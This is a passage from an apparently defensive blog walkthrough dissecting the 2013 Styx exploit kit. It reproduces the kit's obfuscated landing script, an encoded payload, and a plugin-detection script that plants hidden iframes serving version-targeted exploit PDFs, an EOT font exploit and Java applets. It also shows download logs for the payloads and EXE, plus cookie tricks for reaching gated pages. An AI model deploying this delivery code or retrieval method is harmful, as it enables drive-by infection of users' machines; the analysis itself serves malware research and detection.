97171716k6k5f9g929h8b969a929c9i9h6j6d919c909i9a929b9h6p9k9f969h926j6i7d96939f8o9a926b9g9h9m99927e8j6d9h9c9d7b7271719d9l7c9d9c9g969h969c9b7b8o8p9g9c999i9h928j
6d6b9g9f907e8j6d979c9j936p959h9a998j6d7f7d7096939f8o9a927f6i6k6d6n747171716k7c5fa05f</textarea>
</h1>
</body>
</html>

Just a storage for the variable cxhvbb. Input to generate some more code.

node-js is one of my friends to deobfuscate JS code. First clean the code a bit and then run the code with node. Always nice to pipe it to js-beautify to get nice and shiny code out.

Here is the JavaScript code to run in node:

var1="5f939i9b9O9h969c9b6b87989h8a7m8O6j9O8m9b8o9a926n9j8o999i926n929l918o9m9g6k9o5f9j8o9f6b929l918o9h927e9b929k6b7l8o9h926j6k7c5f929l918o9h926p9g929h7l8o9h926j929l918o9h926p94929h7l8o9h926j6k6b6m6b929l918o9m9g6k7c5f9j8o9f6b9O8m9j8o999i927e929g9O8o9d926j9j8o999i926k6b6m6b6j6j929l918o9m9g7e7e9b9i99996k6b7g6b6d6d6b7b6b6d7c6b929l9d969f929g7e6d6m929l918o9h926p9h9c8c8b7k8a9h9f969b946j6k6k7c5f919c9O9i9a929b9h6p9O9c9c9896927e9O8m9b8o9a926b6m6b6d7e6d6b6m6b9O8m9j8o999i927c5faO5f9j8o9f6b9m9n879h8f7i8O849h6b7e6b9b8o9j96948o9h9c9f6p9i9g929f7i94929b9h6p9h9c839c9k929f7k8o9g926j6k7c5f96936j9m9n879h8f7i8O849h6p969b91929l86936j6d9k9c9k77756d6k7d716b6h6h6b9m9n879h8f7i8O849h6p969b91929l86936j6d9a9g96926d6k7f7e716k9o5f87989h8a7m8O6j6d937o7o958b8o9g918o9g6d6n6b989f8h7j9a938c856n6b726k7c5f919c9O9i9a929b9h6p9k9f969h926j6d7d96939f8o9a926b939f8o9a928p9c9f91929f7e6i716i6b9g9O9f9c9999969b947e6i9b9c6i6b9g9h9m99927e6i9d9c9g969h969c9b7b8o8p9g9c999i9h927c9h9c9d7b719d9l7c9992939h7b719d9l7c6i6b9g9f9O7e6i939b9h9g6p959h9a996i7f7d7O96939f8o9a927f6d6k7c5faO5f9j8o9f6b8a9d99969h859i9a7e939i9b9O9h969c9b6j9g9h9f6k9o5f9j8o9f6b9f929h7e8i8k7c5f9j8o9f6b9g9d997e9g9h9f6p9g9d99969h6j7O8i8j6p8j8m6n6o8k7O946k7c5f939c9f6j967e717c967d757c966m6m6k9o5f96936j9h9m9d929c936b9g9d998i968k6c7e6d9i9b919293969b92916d6k9o9f929h8i968k7e9g9d998i968k7caO92999g929o9f929h8i968k7e6d716d7caO5faO5f9f929h9i9f9b6b9f929h6p979c969b6j6d6d6k7c5faO7c5f9j8o9f6b7o929h859i9a7e939i9b9O9h969c9b6j9g9h9f6k9o5f9h9f9m9o5f9f929h9i9f9b6b8a9d99969h859i9a6j9g9h9f6p9a8o9h9O956j7O8i8j918k8i8j918j6p8j8m6n6o8k6l7O6k6p979c969b6j6d6d6k6k5faO9O8o9h9O956j9O6k9oaO7c5f9f929h9i9f9b6b6d6d7c5faO7c5f9j8o9f6b7o929h8791938d929f9g969c9b7e939i9b9O9h969c9b6j6k9o5f96936j9b8o9j96948o9h9c9f6p9d999i94969b9g6b6h6h6b9b8o9j96948o9h9c9f6p9d999i94969b9g6p99929b949h957f716k9o5f9j8o9f6b9d999i94969b858o9a926b7e6b9b8o9j96948o9h9c9f6p9d999i94969b9g8i6d7i919c8p926b7i9O9f9c8p8o9h6d8k7c5f96936j6c9d999i94969b858o9a926k6b9f929h9i9f9b6b6d6d7c5f9j8o9f6b9d91938m9j929f8m9j929f9g969c9b7e7o929h859i9a6j9d999i94969b858o9a926p9j929f9g969c9b6k7c5f9j8o9f6b9d91938m9j929f8m91929g9O9f969d9h969c9b7e7o929h859i9a6j9d999i94969b858o9a926p91929g9O9f969d9h969c9b6k7c5f9j8o9f6b9d91938m9j929f8m9a969a927e6d6d7c5f96936j9b8o9j96948o9h9c9f6p9a969a928b9m9d929g8i6d8o9d9d99969O8o9h969c9b7O9j9b916p8o919c8p926p9d91939l9a996d8k6k9o9d91938m9j929f8m9a969a927e6d7a6p716p716p716d7caO92999g929o96936j9b8o9j96948o9h9c9f6p9a969a928b9m9d929g8i6d8o9d9d99969O8o9h969c9b7O9j9b916p8o919c8p926p9l6o9a8o9f9g6d8k6k9o9d91938m9j929f8m9a969a927e6d796p716p716p716d7caOaO7c5f96936j9d91938m9j929f8m9j929f9g969c9b6c7e6d6d6k9o5f9f929h9i9f9b6b9d91938m9j929f8m9j929f9g969c9b7c5faO5f92999g926b96936j9d91938m9j929f8m91929g9O9f969d9h969c9b6c7e6d6d6k9o5f9f929h9i9f9b6b9d91938m9j929f8m91929g9O9f969d9h969c9b6b7c5faO5f92999g926b9o5f9f929h9i9f9b6b7o929h859i9a6j9d91938m9j929f8m9a969a926k7c5faO5faO92999g929o5f9j8o9f6b91969j8m9c8p976b7e6b919c9O9i9a929b9h6p9O9f928o9h927m99929a929b9h6j6d91969j6d6k7c5f919c9O9i9a929b9h6p8p9c919m6p8o9d9d929b917k959699916j91969j8m9c8p976k7c5f91969j8m9c8p976p969b9b929f7p8b84836b7e6b6i7d867j817m7k8b6b96916b7e6b6d87919387999i94868p976d6b9b8o9a927e6d87919387999i94868p976d6b7k837i8a8a8O7l7e6d9O999g96917b7k7i797i7a7879716o7379717l6o72727k7n6o7i73757l6o7575757676747675717171716d6b8e8O7l8b7p7e6d716d6b7p7m8O7o7p8b7e6d716d7f7d7O867j817m7k8b7f6i7c5f9h9f9m9o5f9f929h9i9f9b6b7o929h859i9a6j87919387999i94868p976p7o929h8d929f9g969c9b9g6j6k6k7c5faO9O8o9h9O956j9O6k9o9f929h9i9f9b6b6d6d7caO7c5faO5faO5f9d91939j929f6b7e6b7o929h8791938d929f9g969c9b6j6k7c5f96936j9d91939j929f6c7e6d6d6k5f9d91939j929f7e9d8o9f9g928O9b9h6j9d91939j929f6k7c5f92999g926b9d91939j929f7e717c5f939i9b9O9h969c9b6b97869b968p9a8c6j6k6b9o5f9j8o9f6b9i8o6b7e6b9b8o9j96948o9h9c9f6p9i9g929f7i94929b9h6p9h9c839c9k929f7k8o9g926j6k7c5f96936b6j9i8o6p969b91929l86936j6d9k969b6d6k7f7e716k6b9f929h9i9f9b6b727c5f9f929h9i9f9b6b717c5faO5f939i9b9O9h969c9b6b8a8a829i7l6j6k9o5f96936j9b8o9j96948o9h9c9f6p9i9g929f7i94929b9h6p969b91929l86936j6d7k959f9c9a926d6k7f7e716k6b9f929h9i9f9b6b727c5f9f929h9i9f9b6b717c5faO5f939i9b9O9h969c9b6b98998d7l8d987p896j9f849h817p9a929g9d6k6b9o5f9j8o9f6b9d96939f6b7e6b919c9O9i9a929b9h6p9O9f928o9h927m99929a929b9h6j6d96936d6m6d9f8o6d6m6d9a926d6k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h926j6i9k96919h956i6n6b72716k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h926j6i95929694959h6i6n6b72746k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h926j6i9g9h9m99926i6n6b6d9h9c9d7b7271719d9l7c9d9c9g969h969c9b7b8o8p9g9c999i9h926d6k7c5f9d96939f6p9g929h7i9h9h9f968p9i9h926j6i9g9f9O6i6n6b9f849h817p9a929g9d6k7c5f919c9O9i9a929b9h6p8p9c919m6p8o9d9d929b917k959699916j9d96939f6k7c5faO5f96936b6j97869b968p9a8c6j6k6b6h6h6b6c8a8a829i7l6j6k6k6b9o5f96936b6j6j9d91939j929f7f7e797171716b6h6h6b9d91939j929f7d7e797371716k6b9p9p6b6j9d91939j929f7f7e7a7171716b6h6h6b9d91939j929f7d7e7a7471716k6k5f98998d7l8d987p896j6d8f9k8g7j8a7o9687886p9d91936d6k7c5f96936b6j9d91939j929f6b7f7e6b777171716b6h6h6b9d91939j929f6b7d6b797171716k5f98998d7l8d987p896j6d9l8a8p7o889d6p9d91936d6k7c5f96936b6j6c6j6j9d91939j929f7f7e797171716b6h6h6b9d91939j929f7d7e797371716k6b9p9p6b6j9d91939j929f7f7e7a7171716b6h6h6b9d91939j929f7d7e7a7471716k6k6b6h6h6b6c6j9d91939j929f6b7f7e6b777171716b6h6h6b9d91939j929f6b7d6b797171716k6k5f9g929h8b969a929c9i9h6j6d919c9O9i9a929b9h6p9k9f969h926j6i7d96939f8o9a926b9g9h9m99927e8j6d9h9c9d7b7271719d9l7c9d9c9g969h969c9b7b8o8p9g9c999i9h928j6d6b9g9f9O7e8j6d979c9j936p959h9a998j6d7f7d7O96939f8o9a927f6i6k6d6n747171716k7c5faO5f"

var Theb=35;function wlxj(){var pXOm='oZUV';kQIqdJ='CAkXtK';if (kQIqdJ=='PXuT') kOhRAH();}function TqeV(){}
var CwjVUE=132;function utPc(){}
var krZBmfUN="&h=32";
        ojzcz=var1;
        pknxmtcs="";
        for(crvm=O;crvm<ojzcz.length;crvm+=2)

4. Say hello to the Plugin Detector unit of Styx

function PktSEI(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
    document.cookie = c_name + "=" + c_value;
}
var yzPtXAIMt = navigator.userAgent.toLowerCase();
if (yzPtXAIMt.indexOf("wow64") < 0 && yzPtXAIMt.indexOf("msie") >= 0) {
    PktSEI("fGGhTasdas", krZBmfUN, 1);
    document.write("<iframe frameborder='0' scrolling='no' style='position:absolute;top:0px;left:0px;' src='fnts.html'></iframe>");
}
var SplitNum = function(str) {
        var ret = [];
        var spl = str.split(/[\.\_,-]/g);
        for (i = 0; i < 4; i++) {
            if (typeof spl[i] != "undefined") {
                ret[i] = spl[i];
            } else {
                ret[i] = "0";
            }
        }
        return ret.join("");
    };
var GetNum = function(str) {
        try {
            return SplitNum(str.match(/[\d][\d\.\_,-]*/).join(""))
        } catch (c) {};
        return "";
    };
var GetPdfVersion = function() {
        if (navigator.plugins && navigator.plugins.length > 0) {
            var pluginName = navigator.plugins["Adobe Acrobat"];
            if (!pluginName) return "";
            var pdf_ver_version = GetNum(pluginName.version);
            var pdf_ver_description = GetNum(pluginName.description);
            var pdf_ver_mime = "";
            if (navigator.mimeTypes["application/vnd.adobe.pdfxml"]) {
                pdf_ver_mime = "9.0.0.0";
            } else {
                if (navigator.mimeTypes["application/vnd.adobe.x-mars"]) {
                    pdf_ver_mime = "8.0.0.0";
                }
            };
            if (pdf_ver_version != "") {
                return pdf_ver_version;
            } else if (pdf_ver_description != "") {
                return pdf_ver_description;
            } else {
                return GetNum(pdf_ver_mime);
            }
        } else {
            var div_obj = document.createElement("div");
            document.body.appendChild(div_obj);
            div_obj.innerHTML = '<OBJECT id = "PdfPlugObj" name="PdfPlugObj" CLASSID="clsid:CA8A9780-280D-11CF-A24D-444553540000" WIDTH="0" HEIGHT="0"></OBJECT>';
            try {
                return GetNum(PdfPlugObj.GetVersions());
            } catch (c) {
                return "";
            };
        }
    }
pdfver = GetPdfVersion();
if (pdfver != "") pdfver = parseInt(pdfver);
else pdfver = 0;

function jOnibmU() {
    var ua = navigator.userAgent.toLowerCase();
    if (ua.indexOf("win") >= 0) return 1;
    return 0;
}

function SSKuD() {
    if (navigator.userAgent.indexOf("Chrome") >= 0) return 1;
    return 0;
}

function klVDVkHR(rMtJHmesp) {
    var pifr = document.createElement("if" + "ra" + "me");
    pifr.setAttribute('width', 10);
    pifr.setAttribute('height', 13);
    pifr.setAttribute('style', "top:100px;position:absolute");
    pifr.setAttribute('src', rMtJHmesp);
    document.body.appendChild(pifr);
}
if (jOnibmU() && !SSKuD()) {
    if ((pdfver >= 8000 && pdfver <= 8200) || (pdfver >= 9000 && pdfver <= 9300)) klVDVkHR("XwYBSGiPQ.pdf");
    if (pdfver >= 6000 && pdfver < 8000) klVDVkHR("xSbGQp.pdf");
    if (!((pdfver >= 8000 && pdfver <= 8200) || (pdfver >= 9000 && pdfver <= 9300)) && !(pdfver >= 6000 && pdfver < 8000)) setTimeout("document.write('<iframe style=\"top:100px;position:absolute\" src=\"jovf.html\"></iframe>')", 3000);
}

There looks like there is a change in the plugin detect script from plugin detect 0.7.8 to a slimmer more customized one.

Plenty of exploits to look into here it seem:

5. EOT, PDF's and JAR

The PDF filenames finally came out so lets get them first

--2013-04-06 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/XwYBSGiPQ.pdf
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=2656631333133303637343939356934613031633362616731643533383832383; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  Content-Encoding: gzip
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 5267
Length: 5267 (5.1K) [text/html]
Saving to: `XwYBSGiPQ.pdf'

     0K .....                                                 100% 1.29M=0.004s

2013-04-06  (1.29 MB/s) - `XwYBSGiPQ.pdf' saved [5267/5267]

--2013-04-06 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/xSbGQp.pdf
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=5603236336331366163353933356264326263663938313561633832343131656; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  Content-Encoding: gzip
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 3601
Length: 3601 (3.5K) [text/html]
Saving to: `xSbGQp.pdf'

     0K ...                                                   100% 99.1M=0s

2013-04-06  (99.1 MB/s) - `xSbGQp.pdf' saved [3601/3601]

Now lets see whats behind fnts.html.
PS cookie needed. 402 reply if the landing is not visited again.

Javascript to generate cookie values:

c_name="fGGhTasdas";
value="krZBmfUN";
var exdate = new Date();
    exdate.setDate(exdate.getDate() + 1);
    var c_value = escape(value) + ((1 == null) ? "" : "; expires=" + exdate.toUTCString());
  console.log(c_value);

--2013-04-06 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/fnts.html
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=5366735656365663830336530343464373133666562353636643234693561343; path=/
  X-Mode: HTML 
  X-Powered-By: ASP.NET version 4
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 354
Length: 354 [text/html]
Saving to: `fnts.html'
  
     0K                                                       100% 5.23M=0s
  
2013-04-06  (5.23 MB/s) - `fnts.html' saved [354/354]

<html>
<head>
<title>Pbksidiadqagem</title>
</head>
<style>@font-face{src:url('PjNmvEsWb.eot');font-family:'p1';}#StbxuMAxj{font-size:5px;line-height:normal;font-family:'p1';position:absolute;top:0px;left:0px;}</style>
<body onload="try{window.focus();}catch(e){}">
<div style="top:0px;position:absolute;left:0px;" id="StbxuMAxj">:)</div>
</body>
</html>

Lets go and fetch the EOT right away:

--2013-04-06 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/PjNmvEsWb.eot
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=1693234323166326033336933653937363137393637366661653466673736356; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  Content-Encoding: gzip
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 4320
Length: 4320 (4.2K) [text/html]
Saving to: `PjNmvEsWb.eot'

     0K ....                                                  100%  120M=0s

2013-04-06 (120 MB/s) - `PjNmvEsWb.eot' saved [4320/4320]

And the last action from the Plugin Detector: jovf.html
PS2: once again we need to start at the landing pane to avoid 402's

--2013-04-07 --  http: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/jovf.html
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=8326564323361343631346469316133373133653335613233326433323637353; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 335
Length: 335 [text/html]
Saving to: `jovf.html'

     0K                                                       100% 16.9M=0s

2013-04-07 (16.9 MB/s) - `jovf.html' saved [335/335]

<html>
<head>
<title>Ymqdiaqbwcgvvze</title>
</head>
<body>
<applet archive="cCJVRwhSC.jar" code="YoHmO">
<param name="sfPsrI" value="&h=12"/>
</applet>
<script>
try{
    document.applets[0].lKvIr("");
} catch(err){};
var UJZhmKT="";
if(UJZhmKT!="")
    setTimeout("window.top.location.href = UJZhmKT", 5000);
</script>
</body>
</html>

Aha - another JAR lets pick it up:

--2013-04-07 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/cCJVRwhSC.jar
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=2603138343133346031363230316537356032656431343634323466353439316; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  Content-Encoding: gzip
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 7343
Length: 7343 (7.2K) [text/html]
Saving to: `cCJVRwhSC.jar'

     0K .......                                               100% 3.21M=0.002s

2013-04-07 (3.21 MB/s) - `cCJVRwhSC.jar' saved [7343/7343]

Phew - lots of good stuff in this kit. lets see if we can bring it all home accross the river.

6. fetching the JAR 

From the gate/landing pane we got first we need to get the jar.

2013-04-06 (24.6 MB/s) - `pane.html' saved [482/482]

--2013-04-06 --  hxxp: //rupscare.org/eNLShv0OTec0p3C402mlb0ZrKE0d9420eFIA16FxJ0kSCu0VXk/IriBA.jar
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Content-Type: text/html;charset=utf-8
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=1673931303664613336326534616932613832323469323531643463393431643; path=/
  X-Mode: HTML
  X-Powered-By: ASP.NET version 4
  Content-Encoding: gzip
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 11678
Length: 11678 (11K) [text/html]
Saving to: `IriBA.jar'

     0K .......... .                                          100% 12.4M=0.001s

2013-04-06  (12.4 MB/s) - `IriBA.jar' saved [11678/11678]

Hopfully I get the time to look more into the JAR some other day...

7.Grabbing the EXE 

Since the exe file was up for grabs in the landing pane not much work needed

--2013-04-06 --  hxxp: //rupscare.org/zNUdi611VKX0IDkq01jcK0dBBK0Q58F0rlJQ0HCzj0CaX90rFSv0076B01qoF05Oka0sF6F0xPVY16jTn17bNp0odl10d0TL0629S0F84i0FHxP0wT6105b9D0FEWS0Kr4U0swQx0ZdqR0Dw0B0wCUu0ZkH50rXuR0Uc7v0skdD0MhrU15SwC0iNDa0iOGF0HCX113Tui/xMCOakDS1p.exe?gO=aTtOki&h=11
Resolving rupscare.org... 5.45.183.91
Connecting to rupscare.org|5.45.183.91|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 200 OK
  Cache-Control: no-cache, must-revalidate
  Content-Disposition: attachment; filename="RivcgrcunV.exe"
  Content-Transfer-Encoding: binary
  Content-Type: application/octet-stream; charset=binary
  Expires: Mon, 26 Jul 1997 05:00:00 GMT
  Last-Modified: Fri, 05 Apr 2013 12:02:17 GMT
  Pragma: no-cache
  Server: nginx/0.7.64
  Set-Cookie: PHPSESSID=1346367346035326430356463336462623734656164346233643164343732366; path=/
  X-Mode: RAW
  X-Powered-By: ASP.NET version 4
  Content-Encoding: gzip
  X-Powered-By: HPHP
  Connection: keep-alive
  Content-Length: 209409
Length: 209409 (205K) [application/octet-stream]
Saving to: `xMCOakDS1p.exe'

     0K .......... .......... .......... .......... .......... 24%  549K 0s
    50K .......... .......... .......... .......... .......... 48%  537K 0s
   100K .......... .......... .......... .......... .......... 73% 1000K 0s
   150K .......... .......... .......... .......... .......... 97% 1.05M 0s
   200K ....                                                  100%  139K=0.3s

2013-04-06 (654 KB/s) - `xMCOakDS1p.exe' saved [209409/209409]

No obfuscation, packeted with UPX though. Guess thats why it would not run in my VM. Exe analysis is not my game, so I leave that to others.

8. quick analysis

PDF1:

MD5: 95ca89b073d80dc7468d5919bb41c8c8

VT: 7/46

PDF2:

MD5: 3dff91a1ec7615e93f783eb66a5d97c5

VT: 9/46

JAR1:

MD5: e31e17abf678d2a05e68db9f6c2b3ac8

VT: 6/45

JAR2:

MD5: 2f95a9b361ab622e9616472ae57e3bb3

VT: 4/46

EOT:

MD5: fc67300a7ec85a41eb9836925816fa74

VT:1/46

EXE:

MD5: 376bee885c5af20f067bbbb073863d8d

VT: 20/46

9. Styx seen with Wireshark

landing pane

redirect to plugin detect

exe download

10. Detection

Looks like the signature proposals over @malwaresigs are pretty good. But a slight change was seen to what @kafeine reported on 1 static links in the pdfx.html file:
jovf.html - changed from ie78xp.hmtl

add jovf.html to detect the change or add jovf.html and fnts.html.

11. Epilogue

That went well. We made it to the underworld and back with most of the goods we headed out to steal.

Lots of fun stuff for further processing here. Most seem old though. I might try to up my skills on some PDF analysis and more JAR analysis some other day. 

Always good to have something waiting in case one get bored one day and/or want to learn some more...

Happy river crossing to the underworld for malware theft :)

Other Styx references:
@kafeine. EK master, on Styx

Pattern change reported by @Malwarebiopsy